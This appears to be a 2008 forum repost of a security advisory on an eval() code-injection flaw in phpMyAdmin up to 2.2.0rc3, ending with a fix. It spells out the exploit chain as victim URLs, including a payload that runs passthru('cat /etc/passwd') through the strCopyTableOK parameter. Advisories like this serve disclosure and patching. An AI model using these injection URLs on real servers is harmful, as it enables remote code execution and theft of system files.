找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 1532|回复: 0

MyPhpAdmin 执行攻击者代码漏洞

[复制链接]

8

主题

12

回帖

26

牛毛

初生牛犊

积分
26
发表于 2008-5-21 19:48:46 | 显示全部楼层 |阅读模式 来自 江苏省连云港市
涉及程序:
myPhpAdmin

描述:
myPhpAdmin 执行攻击者任意代码漏洞利用分析

详细:
myPhpAdmin 是一个能够通过网络对 MySQL 数据库进行控制的软件。但是发现它存在漏洞,在脚本 'tbl_copy.php' 和 'tbl_rename.php' 中,存在未经检查的变量。攻击者构造一个 URL 传给这些脚本,能够将 PHP 指令插入 eval() 函数中,从而能以 WEB 服务器身份执行任意代码。

在 'tbl_copy.php' 和 'tbl_rename.php' 中:

tbl_copy.php: eval(\"\\$message = \\\"$strCopyTableOK\\\";\");
tbl_rename.php: eval(\"\\$message = \\\"$strRenameTableOK\\\";\");

如果能够改变 $strCopyTableOK 或 $strRenameTableOK 的内容便可能执行任意 eval() 代码。

但是这样提交 URL:

http://victim/phpmyadmin/tbl_copy.php?strCopyTableOK=\".passthru('cat%20/etc/passwd').\"

却得不到预想的结果。

这是因为在到达 eval() 之前,代码便停止运行了:

if (isset($new_name) && $new_name!=\"\"){
     .
  $result = mysql_query($sql_structure) or mysql_die();
     .
  $result = mysql_query($query) or mysql_die();
     .
  $result = mysql_query($sql_structure) or mysql_die();
}
else mysql_die($strTableEmpty);

如果 mysql_query() 调用失败,mysql_die() 将会被调用。

为了使调用成功,需要一个能创建表的数据库。通过使用 'tbl_create.php' 能做到:

http://victim/phpmyadmin/tbl_cre ... xor&query=dummy integer primary key auto_increment&submit=1

现在可以利用 'tbl_copy.php' 脚本了:

http://victim/phpmyadmin/tbl_cop ... amp;strCopyTableOK=\".passthru('cat%20/etc/passwd').\"

成功了!

受影响版本:
phpMyAdmin versions <= 2.2.0rc3 

解决方案:
在 &#39;tbl_copy.php&#39; 和 &#39;tbl_rename.php&#39; 中注释掉有问题的 eval() 代码行
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5用户社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-1-12 03:56 , Processed in 0.116815 second(s), 22 queries , Yac On.

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表